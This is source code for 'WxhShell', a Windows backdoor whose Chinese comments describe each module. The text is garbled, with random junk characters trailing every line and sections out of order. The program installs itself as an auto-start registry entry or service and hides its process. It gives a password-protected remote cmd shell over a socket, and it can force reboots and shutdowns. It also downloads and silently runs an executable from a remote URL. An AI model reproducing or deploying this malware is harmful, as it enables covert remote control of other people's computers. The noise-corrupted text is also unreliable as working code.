    else { L]9!-E  
    closesocket(wsh); m4 E 6L  
    ExitThread(0); hrZ~7 0r  
    } 1:My8  
    break; cIl^5eE^Pq  
    } VOG DD@  
  // 关机 $Y$!nPO  
  case 'd': { 2s-f?WetbP  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); U(W#H|  
    if(Boot(SHUTDOWN)) J2aA"BhdC"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n.$<D[@  
    else { )K@ 20Q+0K  
    closesocket(wsh); 3tnYK&  
    ExitThread(0); m f4@g05  
    } s=q\BmG  
    break; 1uB}Oe 2~  
    } Zdh4CNEeFP  
  // 获取shell kC|tv{g#>  
  case 's': { .w$v<y6C  
    CmdShell(wsh); 4ms hB  
    closesocket(wsh); &_" 3~:N8k  
    ExitThread(0); \5s!lv*&  
    break; p]!,Bo ZL  
  } t=XiSj\n  
  // 退出 o"Ef>5N  
  case 'x': { LrF'Hd=O  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?e3q0Lg3 |  
    CloseIt(wsh); L}>9@?;GW  
    break; cB.v&BSW  
    } K W04  
  // 离开 p*Q"<@n  
  case 'q': { KT?vs5jg$&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "~]9}KM}3W  
    closesocket(wsh); E'XF n'  
    WSACleanup(); e{=7,DRH<  
    exit(1); Zs+6Zd4f  
    break; Pl1:d{"d  
        } &\0LR?Nh  
  } a2dF(H  
  } .4_ ~ku  
WNm,r>6m  
  // 提示信息 S_?}H  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &[ 3y_,  
} ]d$)G4X 1  
  } Oq+C<}eg  
V_+3@C  
  return; %3xH<$Gq5  
} v{JCEb&wN  
. s? ''/(  
// shell模块句柄 l*nS gUg  
int CmdShell(SOCKET sock) Oo7n_h1  
{ G92=b *x/  
STARTUPINFO si; Aba6/  
ZeroMemory(&si,sizeof(si)); YXV![gw0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f$2lq4P{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ZR..>=  
PROCESS_INFORMATION ProcessInfo; OE4 2{?)  
char cmdline[]="cmd"; ANT^&NjJ7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Jb ;el*,K  
  return 0; >^<qke  
} '?3Hy|}  
=i:?4pIZ  
// 自身启动模式 *:\QD 8^  
int StartFromService(void) !29 Rl`9  
{ xFg=Tyq:  
typedef struct W!IK>IW"  
{ } k5pfz  
  DWORD ExitStatus; ld9 zOq  
  DWORD PebBaseAddress;  U,Z(h  
  DWORD AffinityMask; O~ qB  
  DWORD BasePriority; rzqCQZHL5  
  ULONG UniqueProcessId; vja^ O  
  ULONG InheritedFromUniqueProcessId; _BR>- :Jr  
}   PROCESS_BASIC_INFORMATION; L0+@{GP?  
+pf 7  
PROCNTQSIP NtQueryInformationProcess; "G`)x+<~Z8  
vtL)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )}paQmy#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >Pv%E  
dZnq 96<:|  
  HANDLE             hProcess; N.&)22<m9  
  PROCESS_BASIC_INFORMATION pbi; ^~(bm$4r  
u=ENf1{ $>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .Ta$@sPh}  
  if(NULL == hInst ) return 0; zaoZCyJT%  
[f O]oTh  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  #lJF$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'BUdySng  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); oxGOn('  
-Ep-v4}  
  if (!NtQueryInformationProcess) return 0; ?5/Sa  
WBC'~h<@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yP-.8[;  
  if(!hProcess) return 0; A`OU} 'v?L  
Dhef|E<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #}k^g:l1  
,j5fzA  
  CloseHandle(hProcess); "h:xdaIE/p  
Nb B`6@r  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Kx<bVK4"  
if(hProcess==NULL) return 0; 8(g:i#~  
hP 9+|am%  
HMODULE hMod; N:&^ql4  
char procName[255]; *a$z!Ma3h  
unsigned long cbNeeded; V2.MZ9  
u_:" u  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0Q>Yoa 11  
hV=)T^Q  
  CloseHandle(hProcess); /D~z}\k  
$9hOWti  
if(strstr(procName,"services")) return 1; // 以服务启动 T[<9Ty'^  
2Db[dk( ]  
  return 0; // 注册表启动 C9bf1ddCW&  
}  Gc SX5c  
4|Z3;;%+  
// 主模块 I.(/j  
int StartWxhshell(LPSTR lpCmdLine) CZbp}:|  
{ :L\@+}{(c  
  SOCKET wsl; m _:ib}  
BOOL val=TRUE; D$ `yxc  
  int port=0; U)c,ZxE  
  struct sockaddr_in door; [kC-g @  
(?J&Ar0  
  if(wscfg.ws_autoins) Install(); FQ O6w'  
53l9s <bOQ  
port=atoi(lpCmdLine); jUjQ{eT  
B-eYWt8s  
if(port<=0) port=wscfg.ws_port; 5ue{&z @T  
\/lS!+~'']  
  WSADATA data; X0 %k`3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; iL5+Uf)E3  
eOLS  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   nk6xavQji  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r[~K m5  
  door.sin_family = AF_INET; NCl={O9<j  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .Olq_wuH  
  door.sin_port = htons(port); >eJk)qM  
>gVR5o  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { srC'!I=s>8  
closesocket(wsl); f#mY44:,C  
return 1; TQnMPELh"  
} 8 Z#)Xb4  
SJ+.i u/  
  if(listen(wsl,2) == INVALID_SOCKET) { neOR/]  
closesocket(wsl); 9Y-s],2V  
return 1; Ym!Ia&n  
} [nflQW6  
  Wxhshell(wsl); =zI eZ7  
  WSACleanup(); nDaQ1  
E#_}y}7JY  
return 0; zFv>'1$  
2&5"m;<  
} {mueP6Gz@J  
(obeEH5J  
// 以NT服务方式启动 N5oao'7|A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) P_i2yhpK  
{ / <y-pFTg  
DWORD   status = 0; cty.)e=  
  DWORD   specificError = 0xfffffff; >F@7}Y(  
WXXLD:gxI  
  serviceStatus.dwServiceType     = SERVICE_WIN32; M[Ls:\1a  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; j7O7P+DmS  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #msk'MVt  
  serviceStatus.dwWin32ExitCode     = 0; oIbd+6>f  
  serviceStatus.dwServiceSpecificExitCode = 0; PVV\@  
  serviceStatus.dwCheckPoint       = 0; i' N  
  serviceStatus.dwWaitHint       = 0; z!t &zkAK  
##yi^;3Y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); t5e%"}>7H  
  if (hServiceStatusHandle==0) return; XlB`Z81j  
kGX`y.-[  
status = GetLastError(); ]36R_Dp  
  if (status!=NO_ERROR) TQbhK^]  
{ _RjM .  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; '<8ewU  
    serviceStatus.dwCheckPoint       = 0; 9I9J}&4  
    serviceStatus.dwWaitHint       = 0; /t ,ujTK  
    serviceStatus.dwWin32ExitCode     = status; 2<Ub[R  
    serviceStatus.dwServiceSpecificExitCode = specificError; :^?ZVi59j  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,R*ru*  
    return; f*kT7PJG  
  } xOD;pRZQ  
}&;0:hw%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >*Y~I0>  
  serviceStatus.dwCheckPoint       = 0; ,?i#NN5p  
  serviceStatus.dwWaitHint       = 0; K+Ehj(eF  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Yc\;`C  
}  ae#7*B  
8a e]tX5$  
// 处理NT服务事件,比如:启动、停止 q6/ o.j   
VOID WINAPI NTServiceHandler(DWORD fdwControl) }%_x T  
{ ?u 9) GJO[  
switch(fdwControl) t</Kel|D  
{ Bz!ddAvlK  
case SERVICE_CONTROL_STOP: 'du:Bxl`d4  
  serviceStatus.dwWin32ExitCode = 0; ILTd*f  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; I)DLnnQQ  
  serviceStatus.dwCheckPoint   = 0; j3z&0sc2(0  
  serviceStatus.dwWaitHint     = 0; o_os;  
  { &|Z:8]'P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T4qbyui{  
  } ugucq},[  
  return; 6}{2W<  
case SERVICE_CONTROL_PAUSE: Jp_{PR:&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F]SexP4:A  
  break; --.:eFE/  
case SERVICE_CONTROL_CONTINUE: MT;<\T  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <@5#  
  break; Q)HVh[4  
case SERVICE_CONTROL_INTERROGATE: }=7tGqfw  
  break; ~D<o}ItRF  
}; 0XL x@FYn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  {EZ ;  
} ]@M$.msg@  
-4Y}Y5 9\  
// 标准应用程序主函数 w doA>a?q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Cl4y9|  
{ vF3>nN(]  
R7Hn8;..  
// 获取操作系统版本 56&s'  
OsIsNt=GetOsVer(); N;RZIg(x  
GetModuleFileName(NULL,ExeFile,MAX_PATH); T" 8>6a@}E  
XQ,I Ej|  
  // 从命令行安装 BI,K?D&W-  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7f[nNng  
#`v`e"  
  // 下载执行文件 "t`r_Aw  
if(wscfg.ws_downexe) { ~F>oNbJIv  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) kzgH p,;R{  
  WinExec(wscfg.ws_filenam,SW_HIDE); )v8;\1`s:  
} pg*'2AT  
#j iQa"  
if(!OsIsNt) { tkV:kh< L~  
// 如果时win9x,隐藏进程并且设置为注册表启动 k`2 K?9\  
HideProc(); M _$pqVm  
StartWxhshell(lpCmdLine); Lg_y1Mu7o  
} Hfm4  
else +z;xl-*[  
  if(StartFromService())  +6uun  
  // 以服务方式启动 44RZk|U1J{  
  StartServiceCtrlDispatcher(DispatchTable); mmr>"`5.  
else ,LWM}L  
  // 普通方式启动 S1E2E3  
  StartWxhshell(lpCmdLine); 3 +BPqhzf  
qmOGsj`#  
return 0; 8p>%}LX/  
} 6i%LM`8GEk  
a%Cq?HZ7  
M1Od%nz3  
)Qb1$%r.  
=========================================== @l>\vs<  
DT n=WGm)  
%!p14c*J H  
vy@;zrs  
RAXqRP,iw  
6bo,x  
" : gv[X  
c{rX7+bN  
#include <stdio.h> zO9|s}J8q  
#include <string.h> WO^sm Ck  
#include <windows.h> 9"_qa q  
#include <winsock2.h> OQ W#BBet@  
#include <winsvc.h> 1\kOjF)l  
#include <urlmon.h> v#YO3nD  
1}KNzMHk9  
#pragma comment (lib, "Ws2_32.lib") k[y{&f,  
#pragma comment (lib, "urlmon.lib") 6~;fj+S  
a5L#c=  
#define MAX_USER   100 // 最大客户端连接数 wToz{!n  
#define BUF_SOCK   200 // sock buffer J Y %B:  
#define KEY_BUFF   255 // 输入 buffer XV). cW|.a  
I2YQIY+  
#define REBOOT     0   // 重启 4U C/pGZY  
#define SHUTDOWN   1   // 关机 #e+%;5\  
&Mo=V4i>  
#define DEF_PORT   5000 // 监听端口 Nd^9.6,JU  
'1=/G7g  
#define REG_LEN     16   // 注册表键长度 @\u)k  
#define SVC_LEN     80   // NT服务名长度 %jKR\f G  
@Eqc&v!O  
// 从dll定义API /=,^fCCN  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m5{Y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Nz*qz"T  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;wJLH\/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;7tOFsV  
Rj+}L ~"  
// wxhshell配置信息 G*\wu&7!  
struct WSCFG { =h5&\4r=  
  int ws_port;         // 监听端口 $-M1<?5  
  char ws_passstr[REG_LEN]; // 口令 nU)}!` E  
  int ws_autoins;       // 安装标记, 1=yes 0=no NTs< ;ED  
  char ws_regname[REG_LEN]; // 注册表键名 [)Xu60? Q  
  char ws_svcname[REG_LEN]; // 服务名 pWbzBgM?nU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 iDp]l u  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 zdU<]ge  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "MM7qV  
int ws_downexe;       // 下载执行标记, 1=yes 0=no mK@\6GOMYP  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5(u7b  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 A{y3yH`#h  
3vQ?vS|2  
}; UyD=x(li  
P,CJy|[L  
// default Wxhshell configuration p Ic ;9  
struct WSCFG wscfg={DEF_PORT, dm)V \?b  
    "xuhuanlingzhe", a%Mbq;  
    1, K34ca-~  
    "Wxhshell", ;# {XNq<1  
    "Wxhshell", [WY NA-O  
            "WxhShell Service", _ nS';48  
    "Wrsky Windows CmdShell Service", }Jh!B|  
    "Please Input Your Password: ", <*2.B~  
  1, ehO F@IA_  
  "http://www.wrsky.com/wxhshell.exe", }I#;~|v~<  
  "Wxhshell.exe" < LzN/I aJ  
    }; #wx0xQ~,J  
l \xIGs  
// 消息定义模块 1nBE8 N  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; e`<=& w  
char *msg_ws_prompt="\n\r? for help\n\r#>"; vyN =X]p  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; AN$}%t"  
char *msg_ws_ext="\n\rExit."; |X~T</{8i  
char *msg_ws_end="\n\rQuit."; K )KE0/ n  
char *msg_ws_boot="\n\rReboot..."; isQ{Xt~K  
char *msg_ws_poff="\n\rShutdown..."; ^^3 >R`  
char *msg_ws_down="\n\rSave to "; }1N)3~  
`@")R-  
char *msg_ws_err="\n\rErr!"; s-*8=  
char *msg_ws_ok="\n\rOK!"; YPf&y"E&H  
?n?Ep[D  
char ExeFile[MAX_PATH]; l OI(+74  
int nUser = 0; 8 x|NR?  
HANDLE handles[MAX_USER]; Vnv<]D zC  
int OsIsNt; p9oru0q  
e9k}n\t3  
SERVICE_STATUS       serviceStatus; 2ZNTg@o  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0 (@8   
MfCu\[qOz  
// 函数声明 [<`xAh_,  
int Install(void); v;?t=}NwF  
int Uninstall(void); YpL{c*M  
int DownloadFile(char *sURL, SOCKET wsh); |+cyb<(V J  
int Boot(int flag); < ynm A  
void HideProc(void); /D 2v 1  
int GetOsVer(void); YOP=gvZq  
int Wxhshell(SOCKET wsl); i. `S0  
void TalkWithClient(void *cs); N@?Fpmu/k  
int CmdShell(SOCKET sock); `"A\8)6-  
int StartFromService(void); ]Ny.  gu  
int StartWxhshell(LPSTR lpCmdLine); x4.-7%VV%  
nDui9C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Uu }ai."iB  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~WR6rc  
afG b}8 Q9  
// 数据结构和表定义 xJ^Gtq Um  
SERVICE_TABLE_ENTRY DispatchTable[] = SobK<6  
{ Fg5>CppH  
{wscfg.ws_svcname, NTServiceMain}, {B\ar+9>  
{NULL, NULL} kp xd+w  
}; )h2wwq0]  
_9\ ayR>d  
// 自我安装 M!!W>A@T[g  
int Install(void) e u^z&R!um  
{ l'B`f)  
  char svExeFile[MAX_PATH]; WvUe44&^$  
  HKEY key; NrNbNFfo  
  strcpy(svExeFile,ExeFile); %$!}MxUM  
?G0=\U< o,  
// 如果是win9x系统,修改注册表设为自启动 N}>`Xm 5'  
if(!OsIsNt) { /G G QO$'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ur?a%]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `Qaw]&O  
  RegCloseKey(key); 'WxcA)z0cQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l_>^LFOA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8 yB  
  RegCloseKey(key); ;u!>( QQ  
  return 0; ran Q_\  
    } l)a]V]oQ  
  } 6yv*AmFh  
} t9Pu:B6  
else { ?J%$;"q  
i/-Xpj]Zf  
// 如果是NT以上系统,安装为系统服务 0)yvyQ5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); TP'EdzAT  
if (schSCManager!=0) ;}=v|Dr&I.  
{ Y.[^3  
  SC_HANDLE schService = CreateService $-jj%x\}  
  ( <M7@JgC &  
  schSCManager, aoI{<,(  
  wscfg.ws_svcname, P `T&zK  
  wscfg.ws_svcdisp, GT|=Apnwr%  
  SERVICE_ALL_ACCESS, bkLm]n3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , fC&Egy  
  SERVICE_AUTO_START, PG&@.KY  
  SERVICE_ERROR_NORMAL, y9pQ1H<F;  
  svExeFile, T% Kj >-  
  NULL, @m1vB!  
  NULL, x AkM_<  
  NULL, R`!x<J  
  NULL, j:O=9  
  NULL _dmgNbs  
  ); .v/s9'lB  
  if (schService!=0) UccnQZ7/I  
  { q 1Rk'k4+  
  CloseServiceHandle(schService); ]wER&/v"  
  CloseServiceHandle(schSCManager); 8QXxRD;0:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \m*?5]m ;  
  strcat(svExeFile,wscfg.ws_svcname); P7 H-Dw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { jxZ R%D  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); st+X~;PX*  
  RegCloseKey(key); ) $#ov-]  
  return 0; ;jo,&C  
    } `:}GE@]  
  } 2oGl"3/p  
  CloseServiceHandle(schSCManager); M _Z*F!al<  
} 7'J}|m{7  
} kQsyvE  
dAm( uJ  
return 1; a%Q.8  
} ]lXTIej`dy  
Q<;f-9q @  
// 自我卸载 YB*ZYpRVl  
int Uninstall(void) $s)G0/~W  
{ CLdLO u"  
  HKEY key; df&d+jY  
:G9.}VrU  
if(!OsIsNt) { ^7.864  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [NQ`S ~_:  
  RegDeleteValue(key,wscfg.ws_regname); >]&LbUW+  
  RegCloseKey(key); 4%KNHeaN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 600-e;p  
  RegDeleteValue(key,wscfg.ws_regname); BN|+2D+S  
  RegCloseKey(key); #T99p+O  
  return 0; [`6|~E"F  
  } k8GcHqNHx  
} :@`Ll;G  
} j_o6+R k  
else { 0^? 3hK  
'<^%> R2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \T/~" w  
if (schSCManager!=0) 9V0iV5?(P  
{ A@?2qX^4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0>)('Kv  
  if (schService!=0) ;B:'8$j$  
  { kC!7<%(  
  if(DeleteService(schService)!=0) { |GA4fFE=  
  CloseServiceHandle(schService); gX{V>T(<  
  CloseServiceHandle(schSCManager); xD8x1-  
  return 0; n,wLk./`  
  } dp&4G6Y<A  
  CloseServiceHandle(schService); - 9UQs.Nv  
  } V2u^sy  
  CloseServiceHandle(schSCManager); Y(m/E.h.~  
} \(cu<{=rU  
} ZcYxH|Gn  
i jg'X#E  
return 1; $83TA> <a  
} ']Nw{}eS`  
3R !Mfz*  
// 从指定url下载文件 V/.Y]dN5  
int DownloadFile(char *sURL, SOCKET wsh) 51*o&:eim  
{ l=Jbuc  
  HRESULT hr; D`o* OlU  
char seps[]= "/"; HfFP4#C,  
char *token; N*|Mfpf  
char *file; JrQd7  
char myURL[MAX_PATH]; !}9k @=[  
char myFILE[MAX_PATH]; I%h9V([  
%t([  
strcpy(myURL,sURL); CKNC"Y*X  
  token=strtok(myURL,seps); 1,p7Sl^h  
  while(token!=NULL) <*i '  
  { G[)Ll=  
    file=token; 5%rD7/7N  
  token=strtok(NULL,seps); Eyxw.,rB/  
  } a<kx95  
.8<bz4  
GetCurrentDirectory(MAX_PATH,myFILE); V44IA[  
strcat(myFILE, "\\"); w6F4o;<PR  
strcat(myFILE, file); i5T&1W i  
  send(wsh,myFILE,strlen(myFILE),0); 1 xm8w$%  
send(wsh,"...",3,0); jQFAlO(E':  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +?),BRCce  
  if(hr==S_OK) DB We>Ef(  
return 0; m*6C *M  
else ;[R{oW Nw  
return 1; k#_B^J&d  
f\nF2rlu  
} |bk.gh  
9KN75<n  
// 系统电源模块 AMp[f%X  
int Boot(int flag) v/ dSz/<]  
{ OxqK} %=Bw  
  HANDLE hToken; V*@pmOhz  
  TOKEN_PRIVILEGES tkp; EJ`JN|,M  
8{Bcl5]<  
  if(OsIsNt) { 6Z]* ce<r  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y,RBTH  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I dgha9K  
    tkp.PrivilegeCount = 1; [8EzyB>fH  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %a{$M{s  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); x6d+`4  
if(flag==REBOOT) { {9q~bt  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) OGw =e{  
  return 0; IP~*_R"bM  
} ]x8 ^s  
else { AifnC4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) YDE;mIW  
  return 0; M. O3QKU4  
} IGeXj%e  
  } (, Il>cR4  
  else { .uG|Vq1v  
if(flag==REBOOT) { 494"-F6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7E*d>:5I  
  return 0; ujGvrY j  
} `rzgC \  
else { :@a8>i1&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) GD<xmuo  
  return 0; &k*sxW'  
} wWB-P6  
} :8cp]v dW  
i1e|UR-wl  
return 1; Oz<{B]pEul  
} y=_8ae}aD~  
'te4mY}  
// win9x进程隐藏模块 *~~ >?  
void HideProc(void) u )cc  
{ g)c<\%  
T$RVz   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -$WU -7`  
  if ( hKernel != NULL ) 59A@~;.F  
  { f'` QW@U  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )F Q '^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); B~K@o.%  
    FreeLibrary(hKernel); 1|_jV7`Mz  
  } r9 G}[# DO  
xPoI+,  
return; MA0 }BJoW  
} o,dO.isgh>  
Bj5_=oo+d  
// 获取操作系统版本 +L D\~dcV+  
int GetOsVer(void) M}2a/}4   
{ 'o;>6u<u  
  OSVERSIONINFO winfo; V+myGsr`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ejP273*ah  
  GetVersionEx(&winfo); 4n_f7'GZg  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) mcvd/  
  return 1; 7~n<%q/6  
  else EUZ#o\6  
  return 0; {WfZE&B  
} q ^NI  
?*lpu  
// 客户端句柄模块 @(Q 'J`  
int Wxhshell(SOCKET wsl) ;K]6/Wt  
{ .21[3.bp/q  
  SOCKET wsh; !?!~8J~  
  struct sockaddr_in client; %s<7 M@]f  
  DWORD myID; b3]QH h/  
\@8j&],dl  
  while(nUser<MAX_USER) I*8i=O@0T  
{ 3~v' Ev  
  int nSize=sizeof(client); X&R ,-^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); s3?pv  
  if(wsh==INVALID_SOCKET) return 1; r/E'#5 Q  
qk!")t  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  d(!W  
if(handles[nUser]==0) SKO*x^"eU  
  closesocket(wsh); ,?s3%<\2   
else $*a'[Qot#  
  nUser++; 80=6B  
  } 7`AQn],  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }Jfi"L  
X.TsOoy  
  return 0; 8Ac5K!  
} 9,8}4Y=GVI  
92zo+bc  
// 关闭 socket $}kT )+K  
void CloseIt(SOCKET wsh) Z#w@ /!"}T  
{ :Z rE/3_S  
closesocket(wsh); h2M>4c  
nUser--; zq\YZ:JC  
ExitThread(0); 7&-i :2  
} Ps=OL\i  
B+W 4r9#  
// 客户端请求句柄 7\ELr 5  
void TalkWithClient(void *cs) DPIIE2X  
{ i`#5dIb   
.KH3.v/c|  
  SOCKET wsh=(SOCKET)cs; P")duv  
  char pwd[SVC_LEN]; c!#DD;<Q  
  char cmd[KEY_BUFF]; rfj>/?8!@  
char chr[1]; Wl!|+-  
int i,j; ;#c=0*.  
OX|nYTp  
  while (nUser < MAX_USER) { L O)&|9xw  
<i}lP/U  
if(wscfg.ws_passstr) { 8bl&-F `  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y [8~M8QX  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .C$4jR.KC  
  //ZeroMemory(pwd,KEY_BUFF); <*O~?=6p  
      i=0; QAs$fi}f]s  
  while(i<SVC_LEN) { wCT. (d_  
a W1y0  
  // 设置超时 L#)F00/`  
  fd_set FdRead; :v-&}?  
  struct timeval TimeOut; +"8AmN4  
  FD_ZERO(&FdRead); ;Ohabbj*  
  FD_SET(wsh,&FdRead); j p g$5jZ  
  TimeOut.tv_sec=8; ~{- zj  
  TimeOut.tv_usec=0; C9+`sFau@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); g~,"C8-H  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +\r=/""DW  
4@|"1D3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yCk9Xc  
  pwd=chr[0]; 7&ty!PpD  
  if(chr[0]==0xd || chr[0]==0xa) { A}K2"lQ#>,  
  pwd=0; 9WE_9$<V  
  break; ~cHpA;x9<^  
  } !cblmF;0  
  i++; zT _  
    } l]:nncpns  
2|2'?  
  // 如果是非法用户,关闭 socket kY e3A &J  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !aylrJJ  
} ?;{ d  
%qN_<W&Ze  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); O+ ].'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Pr|:nJs  
oaxCcB=\  
while(1) { CJ'pZ]\G  
53vnON#{*  
  ZeroMemory(cmd,KEY_BUFF); 6;|6@j  
"DWw]\xO](  
      // 自动支持客户端 telnet标准   yWsJa)e3*@  
  j=0; uU+R,P0  
  while(j<KEY_BUFF) { bU3e*Er  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (~}P.?C8  
  cmd[j]=chr[0]; G:u-C<^'  
  if(chr[0]==0xa || chr[0]==0xd) { AHg:`Wjv-  
  cmd[j]=0; /E(319u_  
  break; mPhrMcL  
  } 2QU ZBrs s  
  j++; bf#@YkE  
    } "Q{)H8,E)x  
{\HEUIa]w  
  // 下载文件 x d9+P  
  if(strstr(cmd,"http://")) { }cl~Vo-mp  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); m6'VMW  
